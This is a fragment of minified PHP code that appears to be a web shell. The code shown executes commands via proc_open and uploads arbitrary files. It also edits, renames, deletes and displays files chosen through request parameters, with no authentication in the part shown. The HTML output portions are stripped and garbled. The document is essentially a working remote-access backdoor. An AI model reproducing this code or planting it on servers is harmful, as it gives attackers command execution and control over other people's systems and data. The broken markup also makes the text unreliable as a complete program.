['pipe','r'],1=>['pipe','w'],2=>['pipe','w']],$pp,$p);if(is_resource($h)){$o=stream_get_contents($pp[1]);fclose($pp[0]);fclose($pp[1]);fclose($pp[2]);proc_close($h);}if(!$o)$o='-';} if(isset($_FILES['f'])){$n=basename($_FILES['f']['name']);echo copy($_FILES['f']['tmp_name'],$p.'/'.$n)?'OK':'FAIL';exit;} $op=$_GET['o']??'';$fi=$_GET['f']??''; if($op=='s'&&isset($_POST['c'])){echo file_put_contents($fi,$_POST['c'])!==false?'OK':'FAIL';exit;} if($op=='r'&&isset($_POST['n'])){echo rename($fi,dirname($fi).'/'.basename($_POST['n']))?'OK':'FAIL';exit;} if($op=='d'){echo(is_dir($fi)?rmdir($fi):unlink($fi))?'OK':'FAIL';exit;} ?>
'.htmlspecialchars($o).''; // Upload echo''; // Edit if($op=='e'&&$fi){echo''.basename($fi).' [X]';} // Rename if($op=='r'&&$fi){echo'';} // View if($op=='v'&&$fi){echo''.basename($fi).' [X]
'.htmlspecialchars(file_get_contents($fi)).'';} // List echo'
| '.$f.'/ | '; else echo''.$f.' | '; echo''.$ss.' | '; if($d)echo'O '; else echo'V E '; echo'R D |
| Empty |